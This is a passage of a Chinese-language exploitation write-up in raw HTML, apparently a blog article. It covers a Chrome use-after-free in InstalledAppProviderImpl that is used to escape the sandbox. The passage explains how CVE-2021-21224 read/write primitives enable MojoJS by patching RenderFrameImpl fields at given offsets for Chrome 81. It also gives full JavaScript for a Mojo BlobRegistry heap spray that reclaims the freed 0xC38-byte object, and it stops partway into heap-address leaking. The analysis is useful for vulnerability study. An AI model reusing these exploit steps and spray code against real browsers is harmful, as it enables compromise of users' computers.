src="https://wechat2rss.xlab.app/img-proxy/?k=48feb0bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mFsjDoG3ribAhTlvia6vrHy4HEKEUmFlHnDo4eW6kSlnXianPwCkJ39b3g%2F640%3Fwx_fmt%3Dpng"/>而render_frame_host_保存在InstalledAppProviderImpl对象0x8偏移处<img class="rich_pages wxw-img" data-ratio="0.11991199119911991" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="909" src="https://wechat2rss.xlab.app/img-proxy/?k=1664a869&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mJZbaBAtJTZqhUu72W6icjwSDnyOI1ddd56libVd1ujnGAybXVXCm724A%2F640%3Fwx_fmt%3Dpng"/>再结合poc可以确定InstalledAppProviderImpl对象是在sub frame调用bindInterface进行接口绑定时创建的<img class="rich_pages wxw-img" data-ratio="0.3105263157894737" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="760" src="https://wechat2rss.xlab.app/img-proxy/?k=a1f83bda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mAfxz0BNCX4TjRjEkt0HZFK4hMxbY5o3K8nPADqSA4HCBicqPNGlY7bw%2F640%3Fwx_fmt%3Dpng"/>在之后的poc执行中，父帧会通过MojoInterfaceInterceptor拦截并获取子帧的句柄<img class="rich_pages wxw-img" data-ratio="0.15926327193932827" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="923" src="https://wechat2rss.xlab.app/img-proxy/?k=8e4d6b66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mymb8sWraB3OxcEUTXibE2I5dPtSJYmPy3lc9p1BXN7WgF32vLzRElOw%2F640%3Fwx_fmt%3Dpng"/>获取后便会调用body.removeChild删除子帧<img class="rich_pages wxw-img" data-ratio="0.12866817155756208" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="443" src="https://wechat2rss.xlab.app/img-proxy/?k=1fdcab8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mjs5iaQ0UzCuhF1Dwhr5GbmaibOKXaJrzHiaaW19fibto6BXtSiaUibU6dDew%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-ratio="0.2420814479638009" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="442" src="https://wechat2rss.xlab.app/img-proxy/?k=c0e1da34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mOlYC12jc3PTBFn1DhwOSJHj1go7CAoZP1freXIqUDARsHCd9hSVsHg%2F640%3Fwx_fmt%3Dpng"/>最后会通过filterInstalledApps函数去调用已经被释放的render_frame_host_对象的虚函数<img class="rich_pages wxw-img" data-ratio="0.048368953880764905" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="889" src="https://wechat2rss.xlab.app/img-proxy/?k=2aa5675a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mgHSHymeMVLrYk2KNnKzib05ibBuAicbUtBgxLD0tL4DqOfsEXYiaVXcDMQ%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">总结poc的执行顺序大致为：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过window.location.hash判断是否是子帧</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果是子帧就去执行Mojo.bindInterface</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果是父帧就去创建子帧并用MojoInterfaceInterceptor拦截子帧的Mojo.bindInterface到并将其句柄传递给父帧</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">释放子帧</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用filterInstalledApps去调用已经被释放但却依然还留有悬挂指针的render_frame_host_虚函数</section></li></ul><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>漏洞利用</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>开启Mojo</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">上文中提到过chrome默认不能直接调用mojo，所以此处使用cve 2021-21224来配合开启mojo。通过分析可知mojoJS的开启与关闭主要由RenderFrameImpl类成员变量enabled_bindings_与IsMainFrame函数来决定<img class="rich_pages wxw-img" data-ratio="0.38487208008898777" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="899" src="https://wechat2rss.xlab.app/img-proxy/?k=63ae5aa6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mKVHATITJicISwtUcYYR89dhxvtSLSrmfovzller8TiarTbowv3Xwa2Jw%2F640%3Fwx_fmt%3Dpng"/>IsMainFrame函数的逻辑很简单就只是将一个类成员变量返回<img class="rich_pages wxw-img" data-ratio="0.23232323232323232" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="495" src="https://wechat2rss.xlab.app/img-proxy/?k=64888d42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mVSicu26okSTXFglqicvU6hXt5VLCfeyEvSEk3RrjXoYEdLbTHdaTFibYQ%2F640%3Fwx_fmt%3Dpng"/>而通过调试也可知当enabled_bindings_ &amp; 2不为0时即可满足条件<img class="rich_pages wxw-img" data-ratio="0.1640625" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="384" src="https://wechat2rss.xlab.app/img-proxy/?k=52a7954e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mTvvOQm6RudT97FYyS1GyicyIryLDdDhU521lkAn3CsgNh5AFx7PrNkQ%2F640%3Fwx_fmt%3Dpng"/>也就是说此时只需要将enabled_bindings_修改为2，再将is_main_frame_修改为1即可满足条件开启mojo。而在一个页面中可能会存在多个frame，而这些frame所对应的RenderFrameImpl对象都存储在一个全局变量g_frame_map中<img class="rich_pages wxw-img" data-ratio="0.1280323450134771" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=47501591&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7m3Q19fBaPyhLnUjHjaswu6nAWIpoQK6lnZlOuZic87aia7gjGFZYPScnw%2F640%3Fwx_fmt%3Dpng"/>要查找到全局变量g_frame_map，就需要先获取到chrome.dll的基址，利用21224构造的地址泄露函数与读写原语，泄露window对象地址，再从window对象中获取到一个位于chrome.dll模块中的地址，再用该地址减去一定的偏移来得到chrome.dll模块基址，除此以外还可以用特征码查找的方式，这种方式兼容性会更好，但在我的环境下读写原语在进行频繁的读写操作时会产生异常发生崩溃，具体原因暂时未知，所以姑且使用减去固定偏移获取基址的办法。<img class="rich_pages wxw-img" data-ratio="0.46153846153846156" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="442" src="https://wechat2rss.xlab.app/img-proxy/?k=d340f543&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mia09gs1uOGTapbYZjHqzru9ibibp40ibD673YiaibMWJ731cMnM8yjzg1jHw%2F640%3Fwx_fmt%3Dpng"/><img data-ratio="0.04826254826254826" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="518" src="https://wechat2rss.xlab.app/img-proxy/?k=6e26d343&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mqIaUPV5ibXib6RRibgOiaUlCIsduAk1V6sAIGTIVh2MaxXhT2aIcTWO95Q%2F640%3Fwx_fmt%3Dpng"/>之后由于无法直接通过g_frame_map符号在windbg中使用x来查找其地址，那就通过查找调用过该全局变量的函数来查找<img class="rich_pages wxw-img" data-ratio="0.3453333333333333" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=e0805ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mCZt8nyiasd4G49F480MpKrpzAIgS9nJS7wl8OfFJNQafaWicLiarrIyiag%2F640%3Fwx_fmt%3Dpng"/>之后在windbg中查找RenderFrame::ForEach并查看其汇编代码获取到g_frame_map地址为00007ffe`3d927888，用此值减去chrome基址得到偏移为0x7627888，只要使用chrome基址加0x7627888即可得到g_frame_map地址<img data-ratio="0.042701863354037264" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1288" src="https://wechat2rss.xlab.app/img-proxy/?k=5f4dca26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mqx7ROjYsibjcgCBV2F4S0N8jcEwPe126FZM0LFSIWUATJD1G7c0ic4Mg%2F640%3Fwx_fmt%3Dpng"/>g_frame_map变量8-16偏移处存放着一个链式结构，当只有一个frame时<img class="rich_pages wxw-img" data-ratio="0.4205607476635514" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="642" src="https://wechat2rss.xlab.app/img-proxy/?k=397c3074&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mTPA9nibm7kPd0Y6PliaDLPdne1W1SNWv13ljp7Ck774Q20hDaMI1lMjg%2F640%3Fwx_fmt%3Dpng"/>创建sub frame后<img class="rich_pages wxw-img" data-ratio="0.4307931570762053" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="643" src="https://wechat2rss.xlab.app/img-proxy/?k=4515d7d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mt5pdZYh8ynmvoFgNNcwkzP2EIBTiajicWHBy36KnBOA5tIDKc0YtnuEQ%2F640%3Fwx_fmt%3Dpng"/>而其对应的RenderFrameImpl对象保存在红线划出内存地址的0x28偏移处<img class="rich_pages wxw-img" data-ratio="0.2509505703422053" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="526" src="https://wechat2rss.xlab.app/img-proxy/?k=ef53ee1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7ma7zzXIUdQgX2Phozo92KGibXB2hnr8YxA1s8rwzCaqyluia7dydF9ibtg%2F640%3Fwx_fmt%3Dpng"/>再通过观察content::RenderFrameImpl::DidCreateScriptContext函数来获取相关变量在对象中的偏移，enabled_bindings_偏移为0x560<img data-ratio="0.08426966292134831" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="356" src="https://wechat2rss.xlab.app/img-proxy/?k=72aae20c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7miaDwSQ4XY8kbr4PyeGHewuLpic6pWd988iaMZPYWtgYBQIXP4BoI05ZgA%2F640%3Fwx_fmt%3Dpng"/>IsMainFrame函数中用到的have_context_变量偏移为0x88<img class="rich_pages wxw-img" data-ratio="0.0728643216080402" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="398" src="https://wechat2rss.xlab.app/img-proxy/?k=1aeb1d03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7m0HCVJwQvfN2d7Vf1B5jBT7FAkNTR9tyfLVAmqSgWaXGwIjm9gSuEEw%2F640%3Fwx_fmt%3Dpng"/>将g_frame_map中保存的所有RenderFrameImpl对象相应偏移修改为对应的值即可。但要注意的是在我的漏洞环境（ 81.0.4044.0）中，在获取成员变量enabled_bindings_时需要将g_frame_map中拿到的RenderFrameImpl对象地址加0x68再加enabled_bindings_所在偏移，而IsMainFrame中用到的成员变量就在g_frame_map中拿到的RenderFrameImpl对象的0x88偏移处。<img class="rich_pages wxw-img" data-ratio="0.2537313432835821" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="335" src="https://wechat2rss.xlab.app/img-proxy/?k=7b214a70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7moPzZeP8J0icA5vKHt2EQYuryQmPgdbKxeWoEmiacKXU4nt8rtwGMtUgw%2F640%3Fwx_fmt%3Dpng"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>内存回收</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对于uaf漏洞利用的第一步肯定是将此内存进行回收，而进行内存回收的前提就是先需要知道被释放的render_frame_host_占多大内存，通过前面的调试分析得知render_frame_host_为RenderFrameHostImpl类实例，所以可以先对RenderFrameHostImpl构造函数下断，而实例大小从构造函数是看不出来的，但可以从调用该实例构造函数的函数中看到。通过kb栈回溯查看调用RenderFrameHostImpl构造函数的函数为RenderFrameHostFactory::Create<img class="rich_pages wxw-img" data-ratio="0.09337349397590361" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="664" src="https://wechat2rss.xlab.app/img-proxy/?k=b5ffdd40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7maibaS4zPQ2vMqbQccpqxoySiaAUMVhsgkpTLmQd3Chx5J5xpXa4U4HLg%2F640%3Fwx_fmt%3Dpng"/>通过查看该函数可知render_frame_host_对象大小为0xC38字节<img class="rich_pages wxw-img" data-ratio="0.6461336828309305" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="763" src="https://wechat2rss.xlab.app/img-proxy/?k=0a713222&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7m16JoOwXZicC85YqJS8XqTF0O59mzdHluicvFk2qR560RibC9kDLCs10Yw%2F640%3Fwx_fmt%3Dpng"/>在知道了要回收的内存大小后就可以通过创建一系列的Blob来回收该内存</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibmTVHZxu8whBmStuUTNPNpSYiclt6ocvspUdrFKR6qFE6iaPWia1XRpn2zffWlWqX13jm89YMwGTsY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">var</span> spray_buff = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">ArrayBuffer</span>(<span style="color: #d19a66;line-height: 26px;">0xC38</span>);<br/><span style="color: #c678dd;line-height: 26px;">var</span> spray_view = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">DataView</span>(spray_buff);<br/><span style="color: #c678dd;line-height: 26px;">for</span>(<span style="color: #c678dd;line-height: 26px;">var</span> i = <span style="color: #d19a66;line-height: 26px;">0</span>; i &lt; spray_buff.byteLength; i++)<br/> spray_view.setInt8(i, <span style="color: #d19a66;line-height: 26px;">0x41</span>, <span style="color: #56b6c2;line-height: 26px;">true</span>);<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">//释放子帧</span><br/><span style="color: #c678dd;line-height: 26px;">for</span>(<span style="color: #c678dd;line-height: 26px;">var</span> i = <span style="color: #d19a66;line-height: 26px;">0</span>; i &lt; <span style="color: #d19a66;line-height: 26px;">0xA</span>; i++)<br/> spray_arr[i] = <span style="color: #c678dd;line-height: 26px;">new</span> Blob([spray_buff]);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><img class="rich_pages wxw-img" data-ratio="0.10634146341463414" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1025" src="https://wechat2rss.xlab.app/img-proxy/?k=747ba877&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7m41ZVrGIKicpDzicmNibicHvg7w8LYv8vOVMPdiczU2rgjNMDgu5KHBr2bLg%2F640%3Fwx_fmt%3Dpng"/>但此方法稳定性不足，不能保证能成功进行内存回收，更好的办法是采用已经被封装好的函数</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibmTVHZxu8whBmStuUTNPNpSYiclt6ocvspUdrFKR6qFE6iaPWia1XRpn2zffWlWqX13jm89YMwGTsY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">getAllocationConstructor</span>(<span style="line-height: 26px;"></span>) </span>{<br/>        <span style="color: #c678dd;line-height: 26px;">let</span> blob_registry_ptr = <br/>          <span style="color: #c678dd;line-height: 26px;">new</span> blink.mojom.BlobRegistryPtr();<br/>        Mojo.bindInterface(blink.mojom.BlobRegistry.name,<br/>                            mojo.makeRequest(<br/>                              blob_registry_ptr)<br/>                              .handle, <span style="color: #98c379;line-height: 26px;">&#34;process&#34;</span>, <span style="color: #56b6c2;line-height: 26px;">true</span>);<br/>        <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">Allocation</span>(<span style="line-height: 26px;">size=<span style="color: #d19a66;line-height: 26px;">280</span></span>) </span>{<br/>          <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">ProgressClient</span>(<span style="line-height: 26px;">allocate</span>) </span>{<br/>            <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">ProgressClientImpl</span>(<span style="line-height: 26px;"></span>) </span>{<br/>            }<br/>            ProgressClientImpl.prototype = {<br/>              <span style="color: #d19a66;line-height: 26px;">onProgress</span>: <span style="color: #c678dd;line-height: 26px;">async</span> (arg0) =&gt; {<br/>                <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">this</span>.allocate.writePromise) {<br/>                  <span style="color: #c678dd;line-height: 26px;">this</span>.allocate.writePromise.resolve(arg0);<br/>                }<br/>              }<br/>            };<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.allocate = allocate;<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.ptr = <span style="color: #c678dd;line-height: 26px;">new</span> mojo.AssociatedInterfacePtrInfo();<br/>            <span style="color: #c678dd;line-height: 26px;">var</span> progress_client_req = mojo.makeRequest(<span style="color: #c678dd;line-height: 26px;">this</span>.ptr);<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.binding = <span style="color: #c678dd;line-height: 26px;">new</span> mojo.AssociatedBinding(<br/>              blink.mojom.ProgressClient, <br/>              <span style="color: #c678dd;line-height: 26px;">new</span> ProgressClientImpl(), <br/>              progress_client_req<br/>            );<br/>            <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">this</span>;<br/>          }<br/>          <span style="color: #c678dd;line-height: 26px;">this</span>.pipe = Mojo.createDataPipe({<br/>            <span style="color: #d19a66;line-height: 26px;">elementNumBytes</span>: size, <span style="color: #d19a66;line-height: 26px;">capacityNumBytes</span>: size});<br/>          <span style="color: #c678dd;line-height: 26px;">this</span>.progressClient = <span style="color: #c678dd;line-height: 26px;">new</span> ProgressClient(<span style="color: #c678dd;line-height: 26px;">this</span>);<br/>          blob_registry_ptr.registerFromStream(<br/>            <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span>, size, <span style="color: #c678dd;line-height: 26px;">this</span>.pipe.consumer, <br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.progressClient.ptr).then(<span style="line-height: 26px;">(<span style="line-height: 26px;">res</span>) =&gt;</span> {<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.serialized_blob = res.blob;<br/>          })<br/>          <span style="color: #c678dd;line-height: 26px;">this</span>.malloc = <span style="color: #c678dd;line-height: 26px;">async</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span>(<span style="line-height: 26px;">data</span>) </span>{<br/>            promise = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Promise</span>(<span style="line-height: 26px;">(<span style="line-height: 26px;">resolve, reject</span>) =&gt;</span> {<br/>              <span style="color: #c678dd;line-height: 26px;">this</span>.writePromise = {<span style="color: #d19a66;line-height: 26px;">resolve</span>: resolve, <span style="color: #d19a66;line-height: 26px;">reject</span>: reject};<br/>            });<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.pipe.producer.writeData(data);<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.pipe.producer.close();<br/>            written = <span style="color: #c678dd;line-height: 26px;">await</span> promise;<br/>            <span style="color: #e6c07b;line-height: 26px;">console</span>.assert(written == data.byteLength);<br/>          }<br/>          <span style="color: #c678dd;line-height: 26px;">this</span>.free = <span style="color: #c678dd;line-height: 26px;">async</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span>(<span style="line-height: 26px;"></span>) </span>{<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.serialized_blob.blob.ptr.reset();<br/>            <span style="color: #c678dd;line-height: 26px;">await</span> sleep(<span style="color: #d19a66;line-height: 26px;">1000</span>);<br/>          }<br/>          <span style="color: #c678dd;line-height: 26px;">this</span>.read = <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span>(<span style="line-height: 26px;">offset, length</span>) </span>{<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.readpipe = Mojo.createDataPipe({<br/>              <span style="color: #d19a66;line-height: 26px;">elementNumBytes</span>: <span style="color: #d19a66;line-height: 26px;">1</span>, <span style="color: #d19a66;line-height: 26px;">capacityNumBytes</span>: length});<br/>            <span style="color: #c678dd;line-height: 26px;">this</span>.serialized_blob.blob.readRange(<br/>              offset, length, <span style="color: #c678dd;line-height: 26px;">this</span>.readpipe.producer, <span style="color: #56b6c2;line-height: 26px;">null</span>);<br/>            <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Promise</span>(<span style="line-height: 26px;">(<span style="line-height: 26px;">resolve</span>) =&gt;</span> {<br/>              <span style="color: #c678dd;line-height: 26px;">this</span>.watcher = <span style="color: #c678dd;line-height: 26px;">this</span><br/>              .readpipe<br/>              .consumer<br/>              .watch({<span style="color: #d19a66;line-height: 26px;">readable</span>: <span style="color: #56b6c2;line-height: 26px;">true</span>}, (r) =&gt; {<br/>                result = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">ArrayBuffer</span>(length);<br/>                <span style="color: #c678dd;line-height: 26px;">this</span>.readpipe.consumer.readData(result);<br/>                <span style="color: #c678dd;line-height: 26px;">this</span>.watcher.cancel();<br/>                resolve(result);<br/>              });<br/>            });<br/>          }<br/>          <span style="color: #c678dd;line-height: 26px;">this</span>.readQword = <span style="color: #c678dd;line-height: 26px;">async</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span>(<span style="line-height: 26px;">offset</span>) </span>{<br/>            <span style="color: #c678dd;line-height: 26px;">let</span> res = <span style="color: #c678dd;line-height: 26px;">await</span> <span style="color: #c678dd;line-height: 26px;">this</span>.read(offset, <span style="color: #d19a66;line-height: 26px;">8</span>);<br/>            <span style="color: #c678dd;line-height: 26px;">return</span> (<span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">DataView</span>(res)).getBigUint64(<span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #56b6c2;line-height: 26px;">true</span>);<br/>          }<br/>          <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">this</span>;<br/>        }<br/>        <span style="color: #c678dd;line-height: 26px;">async</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">allocate</span>(<span style="line-height: 26px;">data</span>) </span>{<br/>          <span style="color: #c678dd;line-height: 26px;">let</span> allocation = <br/>            <span style="color: #c678dd;line-height: 26px;">new</span> Allocation(data.byteLength);<br/>          <span style="color: #c678dd;line-height: 26px;">await</span> allocation.malloc(data);<br/>          <span style="color: #c678dd;line-height: 26px;">return</span> allocation;<br/>        }<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> allocate;<br/>      }<br/>      <span style="color: #5c6370;font-style: italic;line-height: 26px;">//.....</span><br/>      <span style="color: #c678dd;line-height: 26px;">let</span> allocate = getAllocationConstructor();<br/>        <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">spray</span>(<span style="line-height: 26px;">data</span>) </span>{<br/>          <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #e6c07b;line-height: 26px;">Promise</span><br/>          .all(<span style="color: #e6c07b;line-height: 26px;">Array</span>(<span style="color: #d19a66;line-height: 26px;">0x8</span>)<br/>            .fill()<br/>            .map(<span style="line-height: 26px;"><span style="line-height: 26px;">()</span> =&gt;</span> allocate(data)));<br/>        }<br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// 释放</span><br/>        <span style="color: #c678dd;line-height: 26px;">let</span> ptr = <span style="color: #c678dd;line-height: 26px;">await</span> getFreedPtr();<br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// 回收</span><br/>        <span style="color: #c678dd;line-height: 26px;">let</span> sa  = <span style="color: #c678dd;line-height: 26px;">await</span> spray(spray_buff);<br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// 触发漏洞</span><br/>      <br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>避免崩溃</span><span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span><span>堆地址泄露</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时由于原本存放render_frame_host_对象的内存现在被blob所占用，所以当调用render_frame_host_对象虚函数GetProcess时就会去调用spray_buff中的元素值+0x48处，而spray_buff对应位置值为0x4141414141414141所以此时依然会触发崩溃<img class="rich_pages wxw-img" data-ratio="0.0387243735763098" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="878" 